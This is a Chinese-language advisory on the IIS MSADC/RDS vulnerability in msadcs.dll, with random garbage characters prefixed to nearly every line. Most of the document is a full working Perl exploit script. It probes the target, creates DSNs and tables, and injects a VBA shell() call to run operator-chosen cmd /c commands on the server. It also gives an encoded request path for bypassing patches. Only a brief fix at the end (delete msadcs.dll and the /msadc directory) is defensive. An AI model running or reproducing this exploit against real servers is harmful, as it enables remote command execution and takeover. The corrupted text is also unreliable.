IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
x?5D>M/Y (T &rvE 涉及程序：
j`
RuK Microsoft NT server
F6g)2&e{/ 8\ V 描述：
by*?PhfF 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
V?_:-!NJ( QkY]z~P4 详细：
:9nqQJ+~ 如果你没有时间读详细内容的话，就删除:
r
.&<~x c:\Program Files\Common Files\System\Msadc\msadcs.dll
q oA ?
有关的安全问题就没有了。
_f^JXd,7v No Sq:e 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
| DB7o+4 i!AFXVX 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
*/8b)I}yY 关于利用ODBC远程漏洞的描述，请参看:
OD;-0Bj ?o0ro?9j http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $_ &Lp\ *?l-:bc] 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
$C&y-Hnar http://www.microsoft.com/security/bulletins/MS99-025faq.asp l*l?aI >VnBWa<j3 这里不再论述。
]x;*Z& =I(F(AE 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
yUUg8xbpxF cu~dbv6H /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$ G\IzK 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
\my5E\ moo p.}O< H{tG:KH #将下面这段保存为txt文件，然后: "perl -x 文件名"
!Eqp,"ts7 '3<AzR2
#!perl
F' NX #
uD'GI # MSADC/RDS 'usage' (aka exploit) script
9i^dQV.U= #
v|]1x2191 # by rain.forest.puppy
\E}YtN# #
}3%L3v& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
j'\!p):H # beta test and find errors!
f*(W%#*| S)n+E\c use Socket; use Getopt::Std;
9Q*T'+V getopts("e:vd:h:XR", \%args);
DK6^\k][V VM.4w.})_E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
q3_ceXYU &"_5?7_N if (!defined $args{h} && !defined $args{R}) {
{jK:hQX print qq~
;$il_xA)\> Usage: msadc.pl -h <host> { -d <delay> -X -v }
aAT! $0H -h <host> = host you want to scan (ip or domain)
47/14rY
2 -d <seconds> = delay between calls, default 1 second
+VE ]
.*T -X = dump Index Server path table, if available
0Z11V9Jk -v = verbose
Q;h6F{i -e = external dictionary file for step 5
NQ9/ ,M cN? }s0 Or a -R will resume a command session
M1 5jwR!:M ^9jrI ~; exit;}
3RbPc8($Y neLQ>WT
L $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
jV)4+D if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
yJ0q)x sS if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
5LYzX+a) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
OV.f+_LS $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
;Z asK0 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
y ;$
!J @ ,9cpaL3 if (!defined $args{R}){ $ret = &has_msadc;
)iU @P7W= die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
m-w K8]t9 9 SBVp 6' print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Rr% CP[bH . "cmd /c ";
[$x&J6jF. $in=<STDIN>; chomp $in;
^!FLi7X $command="cmd /c " . $in ;
.XZq6iF9 3hD\6,@ if (defined $args{R}) {&load; exit;}
9w"kxAN mS]& print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=Z(_l LNmh &try_btcustmr;
ab!Cu8~v i(9 5=t( print "\nStep 2: Trying to make our own DSN...";
SQS PdR+ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
VfFX H,j flXDGoW print "\nStep 3: Trying known DSNs...";
@OB7TI_/
&known_dsn;
CI8bHY$ y~r5KB6w print "\nStep 4: Trying known .mdbs...";
d#W>"Cqxqa &known_mdb;
wG-l R,glb S^z t> if (defined $args{e}){
p~evPTHnrX print "\nStep 5: Trying dictionary of DSN names...";
XwlF[3VbiX &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
qX %oLa Y0 ?<~Gf print "Sorry Charley...maybe next time?\n";
U;q GUqI exit;
=-dg]Ol8 l |Y?]LNr ##############################################################################
\Ctl(uj UXdnN;0 sub sendraw { # ripped and modded from whisker
F, 39'<N[ sleep($delay); # it's a DoS on the server! At least on mine...
,ozgnhZ Y my ($pstr)=@_;
jqJ't)N socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
u$MXO].Q die("Socket problems\n");
4\ pUA4 if(connect(S,pack "SnA4x8",2,80,$target)){
Tw]].|^f- select(S); $|=1;
n#dv BK0M print $pstr; my @in=<S>;
t/KH` select(STDOUT); close(S);
L"(k ;Mfe return @in;
{kdS t1 } else { die("Can't connect...\n"); }}
AEw~LF2 w mE)I(< % ##############################################################################
/4 M~ 6LT` vxt<}h5J/! sub make_header { # make the HTTP request
-"} mmTa*< my $msadc=<<EOT
j` 5K7~hv POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
5<RZ ht$i User-Agent: ACTIVEDATA
Fu$JI8 Host: $ip
Pe`eF( J Content-Length: $clen
M\!z='Fi Connection: Keep-Alive
_9 B ^@~ JO =kfWW ADCClientVersion:01.06
H\^zp5/ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
~/R bYvyA vd FP ^06 --!ADM!ROX!YOUR!WORLD!
Q^@z]Sc[ Content-Type: application/x-varg
wticA#mb Content-Length: $reqlen
>&?k^nI}J $OP w$ EOT
6^#@y|. ; $msadc=~s/\n/\r\n/g;
k@=w? m return $msadc;}
'> U&B} 8Rr ic[v ##############################################################################
?Mj@;O9>' 9J(jbJ7p sub make_req { # make the RDS request
Pq<]`9/w^w my ($switch, $p1, $p2)=@_;
)ePQN~#K} my $req=""; my $t1, $t2, $query, $dsn;
Wu|ANc 6b7 SA , if ($switch==1){ # this is the btcustmr.mdb query
KwxO%/-}S $query="Select * from Customers where City=" . make_shell();
d#Xt2 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
(d ?sFwOt\ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
+hL%8CVU M =*'K'e>P3 elsif ($switch==2){ # this is general make table query
YCI- p p $query="create table AZZ (B int, C varchar(10))";
Pgo^ $xn'6 $dsn="$p1";}
h3BDHz, qP4v H] elsif ($switch==3){ # this is general exploit table query
6_a~
4_# $query="select * from AZZ where C=" . make_shell();
<" Hb X $dsn="$p1";}
<UE-9g5?G w\`u |f;Aq elsif ($switch==4){ # attempt to hork file info from index server
<
/\y<]b $query="select path from scope()";
;Svs|]d $dsn="Provider=MSIDXS;";}
}Q#3\z5 n/vKxtW elsif ($switch==5){ # bad query
6U?z $query="select";
!W48sZr1& $dsn="$p1";}
_gn`Y(c$% p`mNy
o' $t1= make_unicode($query);
TChKm- x $t2= make_unicode($dsn);
tO8<N'TD $req = "\x02\x00\x03\x00";
/5&' U!:+ $req.= "\x08\x00" . pack ("S1", length($t1));
SMIr@*R $req.= "\x00\x00" . $t1 ;
*)82iD $req.= "\x08\x00" . pack ("S1", length($t2));
1 2 y+g5b $req.= "\x00\x00" . $t2 ;
:J~sz)n4 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
wu`P=- return $req;}
D\9-MXc1 a%NSL6 ##############################################################################
pe@j`Sm:Ej G Z~W#*|V sub make_shell { # this makes the shell() statement
W, -fnJk return "'|shell(\"$command\")|'";}
^wTod\y xu(N'l.7& ##############################################################################
M9dOLM. ]O 8hkGa sub make_unicode { # quick little function to convert to unicode
Ce-D ^9kC my ($in)=@_; my $out;
,5J}Wo?Q} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
se ]q~<& return $out;}
v#`7,:: n04lTME ##############################################################################
A.> L>uR M~"93 Q`f^ sub rdo_success { # checks for RDO return success (this is kludge)
? ht;ZP my (@in) = @_; my $base=content_start(@in);
1_V',0|`> if($in[$base]=~/multipart\/mixed/){
:I/i"g7< return 1 if( $in[$base+10]=~/^\x09\x00/ );}
U% T{ ~f return 0;}
Jo Ih2P D ~J lo> ##############################################################################
kHx 6]< Bq*aP*jv sub make_dsn { # this makes a DSN for us
p&Ev" xhs my @drives=("c","d","e","f");
V0/O
T~gS8 print "\nMaking DSN: ";
CTh!|mG foreach $drive (@drives) {
ReZ&SNJ print "$drive: ";
ZgH(,g,TU my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
s$PPJJT{b "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
XPd@ >2 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
r.#"he_6!. $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
\9 5 O return 0 if $2 eq "404"; # not found/doesn't exist
Qs1e0LwA9 if($2 eq "200") {
HHXm
4}!;< foreach $line (@results) {
MzX4/*ba return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
lN,)T%[0- } return 0;}
MB:*WA& +u|p<z ##############################################################################
SZ3UR vz Puk|q3 sub verify_exists {
z(JDLd my ($page)=@_;
e A'1 my @results=sendraw("GET $page HTTP/1.0\n\n");
p"k[ac{ return $results[0];}
MbJ|6g99 ,bnrVa(I ##############################################################################
Uh=@8v wr{ [4$O sub try_btcustmr {
K! e 51P my @drives=("c","d","e","f");
,'c?^ $J|z my @dirs=("winnt","winnt35","winnt351","win","windows");
iciw 54;4 [r f.& foreach $dir (@dirs) {
-ttH{SslM print "$dir -> "; # fun status so you can see progress
u{d\3-]/ foreach $drive (@drives) {
W &HF*Aw print "$drive: "; # ditto
T]0H&Oov $reqlen=length( make_req(1,$drive,$dir) ) - 28;
qG?svt $reqlenlen=length( "$reqlen" );
W1;u%>Uh $clen= 206 + $reqlenlen + $reqlen;
v>oWk:iJP 6
~LCj" my @results=sendraw(make_header() . make_req(1,$drive,$dir));
KE*8Y4#9 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
7,:$, bL else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
9Atnnx]n NR|t ~C+ ##############################################################################
/@`kM'1:
sBV})8]K M sub odbc_error {
Z @d(0 z my (@in)=@_; my $base;
B>Xfs ZS my $base = content_start(@in);
V9cKl[ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
=}^J6+TVL $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4ht+u $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
RI</T3%~ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+q-/~G' return $in[$base+4].$in[$base+5].$in[$base+6];}
K]s*rPT/, print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
qrxn%#\XP print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
oasEG6OI8 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Eu)(@,]w e ?X5Y8n]y\h ##############################################################################
}=T=Z#OgH b< 1+q{0r sub verbose {
Iy JHKDFk my ($in)=@_;
nlsif return if !$verbose;
)Z qY` by! print STDOUT "\n$in\n";}
gt Vnn]Jh 6tKCY(#oO+ ##############################################################################
8{ooLdpX 7 6(as.U>K sub save {
| g[iK1 my ($p1, $p2, $p3, $p4)=@_;
g Sn9L)k(O open(OUT, ">rds.save") || print "Problem saving parameters...\n";
=/zb$d cz print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
&w"1VOV< close OUT;}
lw j,8 L^><A P lX ##############################################################################
*Tyr KYN{Dh]- } sub load {
@& fAR2 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Rt=zqfJ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ro NRbA] @p=<IN>; close(IN);
j, @@[{tu $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
LUN"p#1 $target= inet_aton($ip) || die("inet_aton problems");
f9FEH7S68 print "Resuming to $ip ...";
Fh0 cOp( $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
waRK$ /b
( if($p[1]==1) {
^P p2T $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Z36C7 kw $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
7 S 6@[-E my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
&up M,Jsr* if (rdo_success(@results)){print "Success!\n";}
CYFi_6MFl else { print "failed\n"; verbose(odbc_error(@results));}}
/t"F Z# elsif ($p[1]==3){
~8l(, N0 if(run_query("$p[3]")){
vn"+x_ print "Success!\n";} else { print "failed\n"; }}
p^>_VE[S elsif ($p[1]==4){
m?)R EE if(run_query($drvst . "$p[3]")){
{>rGe#Vu print "Success!\n"; } else { print "failed\n"; }}
6G0Y ,B7& exit;}
?CU6RC n Ww)p&don ##############################################################################
yDe6f(D pB0p?D)n sub create_table {
O~~W P*N my ($in)=@_;
kACgP!~/1 $reqlen=length( make_req(2,$in,"") ) - 28;
sjIUW$ $reqlenlen=length( "$reqlen" );
YggeKN $clen= 206 + $reqlenlen + $reqlen;
&'KJh+jJ
my @results=sendraw(make_header() . make_req(2,$in,""));
4M,Q{G |e return 1 if rdo_success(@results);
(u :^4,Z my $temp= odbc_error(@results); verbose($temp);
'ugc=-0pd return 1 if $temp=~/Table 'AZZ' already exists/;
0tb%h[%,M return 0;}
{@YY8SKb9 |f IIf YE ##############################################################################
m( DJ6CSa INjr$'* sub known_dsn {
7G]v(ay # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
vnr{Ekg my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ewrs
D'? "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
HY!R | "banner", "banners", "ads", "ADCDemo", "ADCTest");
ky#5 G-X R!Lh ~~@{( foreach $dSn (@dsns) {
c+A$ [ print ".";
OAw- -rl next if (!is_access("DSN=$dSn"));
] o+5$L,5b if(create_table("DSN=$dSn")){
[Rxbb+,U print "$dSn successful\n";
p'f8?jt if(run_query("DSN=$dSn")){
DE lrY)3O. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Q / zlU@ print "Something's borked. Use verbose next time\n";}}} print "\n";}
cN 3 !wE CyXFuk!R ##############################################################################
xmXuBp:M(R w _ONy 9 sub is_access {
bo|3sN+D my ($in)=@_;
}huFv*<@' $reqlen=length( make_req(5,$in,"") ) - 28;
{'@`: p&3r $reqlenlen=length( "$reqlen" );
K{ ED mC $clen= 206 + $reqlenlen + $reqlen;
Swr
8 my @results=sendraw(make_header() . make_req(5,$in,""));
*'to#_n&W
my $temp= odbc_error(@results);
``:+*4e9 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
kWMz;{I5*w return 0;}
l' mdj!{& `p'682x I ##############################################################################
,7h0y "zZ Z h sub run_query {
`~k`m{4.a my ($in)=@_;
6Q*Zy[= $reqlen=length( make_req(3,$in,"") ) - 28;
*YO^+]nmY $reqlenlen=length( "$reqlen" );
N5d)&a
7? $clen= 206 + $reqlenlen + $reqlen;
gzd<D}2F~ my @results=sendraw(make_header() . make_req(3,$in,""));
Kg6[ return 1 if rdo_success(@results);
<{P`A%g@ my $temp= odbc_error(@results); verbose($temp);
f1w_ Cl return 0;}
f>hA+ PK).)5sW ##############################################################################
d+o.J",E G0~6A@> sub known_mdb {
/N9ct4 {^ my @drives=("c","d","e","f","g");
W\Df:P {< my @dirs=("winnt","winnt35","winnt351","win","windows");
!*e1F9k my $dir, $drive, $mdb;
c 4V%>A my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
i z%wozf cNl NJ # this is sparse, because I don't know of many
L+.&e4f'oj my @sysmdbs=( "\\catroot\\icatalog.mdb",
W 7#dc89} "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
8vqx}2 "\\system32\\certmdb.mdb",
L6x;<gj "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
)lZoXt_3 Rn$[P. || my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
{&ykpu090 "\\cfusion\\cfapps\\forums\\forums_.mdb",
\@ B 'f "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
0PD=/fh[ "\\cfusion\\cfapps\\security\\realm_.mdb",
_)kTlX:, "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6^ e}^~| "\\cfusion\\database\\cfexamples.mdb",
r#'ug^^k$X "\\cfusion\\database\\cfsnippets.mdb",
IhjZ{oV/@ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
XY^]nm-{I "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
35%\"Y? "\\cfusion\\brighttiger\\database\\cleam.mdb",
%E2b{Y; "\\cfusion\\database\\smpolicy.mdb",
~JQ6V?fucD "\\cfusion\\database\cypress.mdb",
p|+TgOYOc "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
$W]}m"l "\\website\\cgi-win\\dbsample.mdb",
")YD~ZA%) "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
ey@ccc*sZ9 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
]{ |
wU. ); #these are just
|/;;uK,y foreach $drive (@drives) {
p1N3AhXY foreach $dir (@dirs){
bRD-[) foreach $mdb (@sysmdbs) {
)uu(I5St print ".";
+ L|x^ B3 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Nsn ~ mY% print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
cq0-D d9^& if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
r yNe=9p print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
5=&ME(fmV } else { print "Something's borked. Use verbose next time\n"; }}}}}
c!ieN9^+ J9-n3o foreach $drive (@drives) {
FBxg^g%PB@ foreach $mdb (@mdbs) {
MfZamu5+F print ".";
bae;2| w if(create_table($drv . $drive . $dir . $mdb)){
Y'<wE2ZL) print "\n" . $drive . $dir . $mdb . " successful\n";
3Fw7q" if(run_query($drv . $drive . $dir . $mdb)){
:cvT/xhO print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
G=/^]E } else { print "Something's borked. Use verbose next time\n"; }}}}
#y-R*4G }
Rt>mAU$} goe %'k, ##############################################################################
.*edaDi +ib&6IU sub hork_idx {
(q@%eor&} print "\nAttempting to dump Index Server tables...\n";
hg2Ywzfm- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
2]]}Xvx4# $reqlen=length( make_req(4,"","") ) - 28;
h~lps?.#b $reqlenlen=length( "$reqlen" );
ot0g@q[3 $clen= 206 + $reqlenlen + $reqlen;
5Ps jGvm.% my @results=sendraw2(make_header() . make_req(4,"",""));
Ya4yW9* if (rdo_success(@results)){
#mYe@[p@ my $max=@results; my $c; my %d;
UD=[::## for($c=19; $c<$max; $c++){
q P0UcG $results[$c]=~s/\x00//g;
22 'Ra[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
D-FT3Culw $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
{53|X=D64 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
`S+n ,,l $d{"$1$2"}="";}
iJH?Z,Tjf foreach $c (keys %d){ print "$c\n"; }
g/frg(KF } else {print "Index server doesn't seem to be installed.\n"; }}
;nrkC\SYh: E W`3$J; ##############################################################################
}
m"':f .k$Yleg sub dsn_dict {
6l:uQz9 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Dn)B19b while(<IN>){
=h xyR; $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
#jJ0Mxg next if (!is_access("DSN=$dSn"));
ZUD{V if(create_table("DSN=$dSn")){
P? ^%i print "$dSn successful\n";
*j( UAVp if(run_query("DSN=$dSn")){
b;F aTm@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}@"v7X $ print "Something's borked. Use verbose next time\n";}}}
v"o_V| print "\n"; close(IN);}
`=S%!akj x 2TE[#>< ##############################################################################
WcQkeh3n Po&'#TC1 sub sendraw2 { # ripped and modded from whisker
# [
+n( sleep($delay); # it's a DoS on the server! At least on mine...
# &ei my ($pstr)=@_;
+IMt$}7[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
, `PYU[ die("Socket problems\n");
$4*gi& if(connect(S,pack "SnA4x8",2,80,$target)){
EeH ghq print "Connected. Getting data";
@Ko#n DEq open(OUT,">raw.out"); my @in;
-/
G#ls|? select(S); $|=1; print $pstr;
`n@;%*6/ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
5g.w"0MkY close(OUT); select(STDOUT); close(S); return @in;
L1WvX6 } else { die("Can't connect...\n"); }}
*pDS%,$xe p( )LQT! ##############################################################################
X"vDFE`? I:w+lchAMe sub content_start { # this will take in the server headers
-BSO$'{7 my (@in)=@_; my $c;
K:A:3~I!NW for ($c=1;$c<500;$c++) {
9kwiG7V1 if($in[$c] =~/^\x0d\x0a/){
Nv|0Z'M if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
f|ERZN`uB else { return $c+1; }}}
F("| SOhc return -1;} # it should never get here actually
[aG 4T$DQK@e ##############################################################################
&bGf{P*Da dd6%3L{cn sub funky {
\%B7 M]P my (@in)=@_; my $error=odbc_error(@in);
tt
CC]
Q if($error=~/ADO could not find the specified provider/){
r&ys?@+G print "\nServer returned an ADO miscofiguration message\nAborting.\n";
VoQhzp6& exit;}
{6%-/$LX if($error=~/A Handler is required/){
scTt53v^ print "\nServer has custom handler filters (they most likely are patched)\n";
kGL3*x exit;}
'MW O3 if($error=~/specified Handler has denied Access/){
<EdNF&S- print "\nServer has custom handler filters (they most likely are patched)\n";
rxs:) # ?A exit;}}
2R
^6L@fw _0ZU I^# ##############################################################################
k)[c!\a[i R<vbhB/l U sub has_msadc {
GHo
mk##0E my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
3bJ|L3G my $base=content_start(@results);
I-=Ieq"R 9 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
_k;HhLj` return 0;}
2G <XA Sn^M[}we ########################
LM 1Vsh< .;S1HOHz4 d^v.tYM$N 解决方案：
[>U2!4=$M 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
p$ETAvD 2、移除web 目录: /msadc
